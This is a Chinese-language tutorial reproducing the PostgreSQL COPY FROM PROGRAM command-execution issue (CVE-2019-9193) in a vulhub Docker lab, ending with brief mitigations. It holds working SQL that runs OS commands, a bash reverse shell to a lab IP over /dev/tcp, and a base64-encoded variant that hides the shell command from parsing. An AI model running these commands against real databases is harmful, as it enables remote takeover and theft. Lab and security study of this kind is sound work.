前面讲述了mysql、SqlServer、Redis数据库相关的提权方式,有兴趣的也可以去看看。
这里讲的postgreSQL数据库提权就是任意命令执行漏洞(CVE-2019-9193)。
目录
数据库简介
漏洞原理
影响版本
漏洞利用
利用前提
漏洞复现
复现准备
复现过程
漏洞修复
数据库简介
postgreSQL是一个功能强大对象关系数据库管理系统。
漏洞原理
从9.3版本开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能允许数据库的超级管理员用户以及pg_read_server_files组中的任何用户执行操作系统命令。
影响版本
PostgreSQL 9.3 - 11.2
漏洞利用
利用前提
- 需要登陆
- 需要高权限
这就意味着,需要进行弱口令爆破或者其他方式知道账号密码登录之后,然后查看是否是高权限。
漏洞复现
复现准备
这里使用vulhub靶场复现,vulhub搭建自行搜索。
cd postgres/CVE-2019-9193
docker-compose up -d
docker-compose down -v #关闭靶机
然后需要使用dbeaver连接PostgreSQL(看到很多资料都是使用navicat连接的,但是看了一下navicat是需要购买的(有试用期,网上也有很多破解版)不介意的可以去探索使用navicat,因为navicat确实比dbeaver是更强大的)。
dbeaver安装参考链接:【数据库】DBeaver操作所有数据库管理工具使用详解_dbeaver的使用-CSDN博客
dbeaver是一款数据库连接工具,免费且跨平台。
navicat是非常强大的可视化数据库管理工具,提供图形化界面,提供简便的管理方法。
复现过程
1、使用dbeaver连接PostgreSQL:账号/密码为postgres/postgres。
2、然后右键public,新建查询
3、然后执行以下命令
-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;
-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
-- 执行系统命令利用特定函数,这里输出系统信息
COPY cmd_exec FROM PROGRAM 'id';
-- 查看执行结果
SELECT * FROM cmd_exec;
可以看到成功执行。
4、接下来进一步利用,进行反弹shell。先开启监听nc
5、执行以下反弹shell命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1';
SELECT * FROM cmd_exec;
可以看到这里出现了错误
6、尝试将反弹shell进行base64编码(注意这里不是编码直接放进去,编码后的不能进行执行,要做的是解决数据传输过程中的特殊字符被解析的问题,所以可以写入一条将编码后的解码然后再执行的一条命令)
#编码前
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1';
#编码后
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzUuMTMwLzQ0NDQgMD4mMQo=" | base64 -d | bash';
成功执行。
7、成功反弹shell
漏洞修复
- pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
- 增强密码的复杂度;
- 进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;